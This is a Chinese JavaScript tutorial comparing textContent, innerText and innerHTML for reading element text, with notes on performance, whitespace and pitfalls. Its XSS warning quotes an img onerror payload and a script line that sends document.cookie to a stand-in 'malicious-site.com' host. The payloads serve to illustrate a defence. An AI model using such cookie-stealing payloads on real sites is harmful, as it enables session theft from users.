js怎么获取元素的文本内容

幻夢星雲

发布时间：2025-08-21 11:34:01

428人浏览过

来源于php中文网

原创

在javascript中获取元素文本内容最推荐的方法是使用textcontent属性，1. 使用element.textcontent可获取元素及其后代的所有纯文本内容，不受css样式影响，性能高且符合w3c标准；2. 使用element.innertext则返回用户可见的文本，受css样式（如display: none）影响，会触发布局重算，性能较低；3. 使用element.innerhtml会返回包含html标签的字符串，适用于需要操作html结构的场景，但存在xss风险。应优先选择textcontent以确保性能和安全性，仅在需要考虑可见性或处理html时选用innertext或innerhtml，并注意防范安全漏洞和空元素访问错误，最终根据具体需求在性能、功能与安全之间取得平衡。

js怎么获取元素的文本内容

在JavaScript中，要获取元素的文本内容，最直接且推荐的方式是使用

textContent

属性。它能获取到元素及其所有后代节点的文本内容，不包括任何HTML标签，并且不受CSS样式（如

display: none

）的影响，效率通常也更高。如果你需要获取用户在浏览器中实际能看到的文本，

innerText

也是一个选择，但它会考虑CSS样式，性能上可能略逊一筹。而

innerHTML

则会返回元素的全部内容，包括HTML标签本身，这通常用于获取或设置包含HTML结构的内容。

解决方案

在JavaScript中获取元素的文本内容，主要有以下几种方法：

element.textContent

：这是获取元素纯文本内容的首选方法。它返回指定元素及其所有子孙节点的文本内容，包括

<script>

和

<style>

标签内的文本，并且不会解析HTML。它的优点是性能好，因为它不涉及CSS渲染引擎的计算。

// 假设HTML结构：<div id="myDiv">Hello <span>World!</span> <p style="display: none;">Hidden Text</p></div>
const myDiv = document.getElementById('myDiv');
console.log(myDiv.textContent); // 输出: "Hello World! Hidden Text"

```
element.innerText
```
：这个属性返回元素“可见”的文本内容。它会考虑CSS样式，例如如果元素或其子元素被
```
display: none
```
隐藏，
```
innerText
```
就不会返回这部分文本。此外，它会解析HTML实体，并且会触发浏览器重新计算样式和布局，因此在大量操作时可能比
```
textContent
```
慢。它不包括
```
<script>
```
和
```
<style>
```
标签内的文本。
```
// 假设HTML结构：<div id="myDiv">Hello <span>World!</span> <p style="display: none;">Hidden Text</p></div>
const myDiv = document.getElementById('myDiv');
console.log(myDiv.innerText); // 输出: "Hello World!" (因为Hidden Text被隐藏了)
```
```
element.innerHTML
```
：这个属性返回元素的所有内容，包括其内部的HTML标签，作为一个字符串。它主要用于获取或设置元素的完整HTML结构，而不是纯文本。如果你只想获取文本，使用它可能会引入不必要的HTML标签解析和潜在的安全风险（如XSS）。
```
// 假设HTML结构：<div id="myDiv">Hello <span>World!</span> <p style="display: none;">Hidden Text</p></div>
const myDiv = document.getElementById('myDiv');
console.log(myDiv.innerHTML); // 输出: "Hello <span>World!</span> <p style="display: none;">Hidden Text</p>"
```

为什么会有多种获取文本内容的方式？它们之间有何不同？

这背后其实反映了Web标准演进和不同场景的需求。最初，浏览器厂商各自为政，比如IE引入了

innerText

，而W3C标准则倾向于

textContent

。随着时间的推移，它们都被主流浏览器所支持，但各自的特性和行为差异依然保留了下来，以满足开发者在不同情境下的具体需求。

它们之间的主要区别，说白了，就是对“文本内容”这个概念的理解和处理方式不同：

```
textContent
```
：
- 定义：获取所有子节点的文本内容，包括
```
<script>
```
  和
```
<style>
```
  标签内的内容。
- HTML解析：不解析HTML标签，直接返回纯文本。
- CSS样式影响：不受CSS
```
display: none
```
  等样式的影响，即使元素被隐藏，其文本内容也会被获取。
- 性能：通常性能最优，因为它不需要浏览器进行布局计算。
- 标准：W3C DOM Level 3 Core标准的一部分。
```
innerText
```
：
- 定义：获取元素在浏览器中“可见”的渲染文本。它会忽略
```
<script>
```
  和
```
<style>
```
  标签内的内容。
- HTML解析：会解析HTML实体（如
```
&
```
  会变成
```
&
```
  ）。
- CSS样式影响：受CSS样式影响，例如
```
display: none
```
  的元素或其子元素的文本不会被获取。它还会考虑
```
white-space
```
  、
```
text-transform
```
  等CSS属性。
- 性能：可能存在性能开销，因为它需要浏览器计算元素的布局和样式，以确定哪些文本是可见的。
- 标准：最初是IE特有属性，后来被HTML Living Standard规范化。
```
innerHTML
```
：
- 定义：获取元素内部的所有HTML内容，包括标签和文本。
- HTML解析：返回的是包含HTML标签的字符串。
- CSS样式影响：不直接获取“文本内容”，而是获取HTML结构，所以不直接受文本相关CSS样式的影响。
- 性能：获取字符串本身通常很快，但如果后续需要解析或操作这个字符串，则会有额外开销。
- 标准：HTML DOM的一部分。

举个例子，假设你有一个

div

，里面有隐藏的

span

和一些脚本：

<div id="test">Hello <span style="display: none;">World</span><script>console.log('script');</script></div>

```
test.textContent
```
会得到 "Hello Worldconsole.log('script');"
```
test.innerText
```
会得到 "Hello" (因为
```
World
```
被隐藏了，
```
script
```
内容被忽略)
```
test.innerHTML
```
会得到 "Hello World<script>console.log('script');</script>"

选择哪一个，很大程度上取决于你对“文本内容”的具体定义：是所有节点下的原始文本，还是用户实际能看到的文本，亦或是包含HTML结构的完整内容。

靠岸学术

一款集翻译，阅读，文献管理于一体的英文文献阅读器

下载

在实际开发中，我应该优先选择哪种方法？

在我看来，在绝大多数需要获取元素纯文本内容的场景下，

textContent

是你的首选。理由很简单也很实际：

性能优势：
```
textContent
```
不需要浏览器执行复杂的布局计算，因此在处理大量DOM元素或性能敏感的应用中，它的效率更高。这在现代前端框架中，尤其在需要频繁读取DOM内容时，显得尤为重要。
行为一致性：它不受CSS样式的影响，这意味着无论元素是否被隐藏，你都能获取到它内部的所有文本内容。这让你的代码逻辑更清晰，不易出现因为样式变化而导致的意外行为。
标准推荐：作为W3C DOM标准的一部分，
```
textContent
```
在不同浏览器中的行为更加一致和可预测。

那么，什么时候会考虑其他方法呢？

当你确实需要获取用户“可见”的文本时，可以考虑
innerText
。比如，你可能在做一个文本选择工具，或者需要复制用户屏幕上实际显示的文本。但即便如此，我也建议你先评估其性能影响，尤其是在循环或大量操作中。如果性能成为瓶颈，你可能需要寻找其他优化方案，比如在获取前先判断元素的
```
display
```
样式。
当你需要获取或设置包含HTML标签的完整内容时，
innerHTML
是唯一的选择。例如，你从服务器获取了一段HTML片段，需要将其插入到页面中；或者你需要获取用户在富文本编辑器中输入的内容（通常包含HTML格式）。然而，使用
```
innerHTML
```
来设置内容时，务必警惕XSS（跨站脚本攻击）风险。如果内容来源于用户输入或不可信的外部数据，一定要进行严格的净化（sanitization），避免恶意脚本注入。一个常见的错误就是直接将用户输入赋值给
```
innerHTML
```
，这可能导致严重的安全漏洞。

总的来说，我的建议是：默认使用

textContent

获取纯文本；只有当你明确需要考虑CSS可见性或处理HTML结构时，才考虑
innerText
或
innerHTML
，并对后者保持高度的安全警惕。这种选择策略能让你在性能、功能和安全性之间取得一个很好的平衡。

获取文本内容时可能遇到的常见陷阱和注意事项有哪些？

在获取元素文本内容时，虽然看起来很简单，但确实存在一些容易被忽视的细节和“坑”，理解它们能帮助你写出更健壮、更高效的代码。

空值（Null）或未定义（Undefined）的元素：这是最常见的错误之一。如果你尝试获取一个不存在的元素的
```
textContent
```
、
```
innerText
```
或
```
innerHTML
```
，JavaScript会抛出TypeError，因为你试图在一个
```
null
```
或
```
undefined
```
值上访问属性。
```
const nonExistentElement = document.getElementById('nonExistent');
// console.log(nonExistentElement.textContent); // 这会报错！
if (nonExistentElement) {
    console.log(nonExistentElement.textContent); // 安全的做法
}
```
在操作DOM元素之前，总是要确保你已经成功获取到了该元素。
性能考量，特别是
```
innerText
```
：前面提过，
```
innerText
```
的性能开销可能较大。这是因为它在获取文本时需要计算元素的最终渲染样式和布局。如果你在一个循环中频繁地读取大量元素的
```
innerText
```
，这可能会导致页面卡顿或响应变慢。
```
textContent
```
在这方面表现更优，因为它直接从DOM树中提取文本，不涉及渲染引擎。
空白字符的处理差异：
```
textContent
```
会保留元素内部的所有空白字符（包括换行符、空格、制表符），而
```
innerText
```
在某些情况下会进行标准化处理，例如会移除元素开头和结尾的空白，并且将连续的空白字符折叠成一个空格，类似于浏览器渲染HTML时处理空白的方式。
```
<div id="whitespaceDiv">
    Hello
        World!
</div>
```
```
const div = document.getElementById('whitespaceDiv');
console.log(div.textContent); // "
//    Hello
//        World!
//    " (保留了换行和缩进)
console.log(div.innerText);   // "Hello World!" (标准化了空白)
```
这个差异在处理用户输入或需要精确保留文本格式时尤其重要。
安全风险与
```
innerHTML
```
：当使用
```
innerHTML
```
来设置元素内容时，如果内容来源于用户输入或不可信的第三方数据，就可能导致XSS漏洞。恶意用户可以注入
```
<script>
```
标签或其他HTML，从而执行任意JavaScript代码。
```
// 假设 userInput = "<img src='x' onerror='alert(\"You are hacked!\")'>"
// 或者更糟糕的：<script>fetch('malicious-site.com/steal-cookies?data=' + document.cookie)</script>
myDiv.innerHTML = userInput; // 极度危险！
```
安全的做法是使用
```
textContent
```
来设置纯文本内容，或者对
```
innerHTML
```
的内容进行严格的净化处理，例如使用DOMPurify这样的库。
```
Node
```
与
Element
的区别：
```
textContent
```
是
```
Node
```
接口的属性，这意味着它不仅可以在
```
HTMLElement
```
上使用，也可以在
```
Text
```
节点、
```
Comment
```
节点等所有
```
Node
```
类型的对象上使用。而
```
innerText
```
和
```
innerHTML
```
是
```
HTMLElement
```
接口的属性，只能在HTML元素节点上使用。虽然在日常开发中你通常操作的都是
```
HTMLElement
```
，但了解这个底层差异能帮助你更好地理解DOM API。
动态内容更新的时机：如果你在JavaScript中动态修改了DOM，例如通过
```
appendChild
```
或
```
removeChild
```
，那么在这些操作之后立即获取文本内容，你会得到最新的值。但如果你是在一个异步操作（如
```
setTimeout
```
或
```
fetch
```
回调）中修改DOM，并希望获取修改后的文本，确保你在DOM更新完成后再进行获取。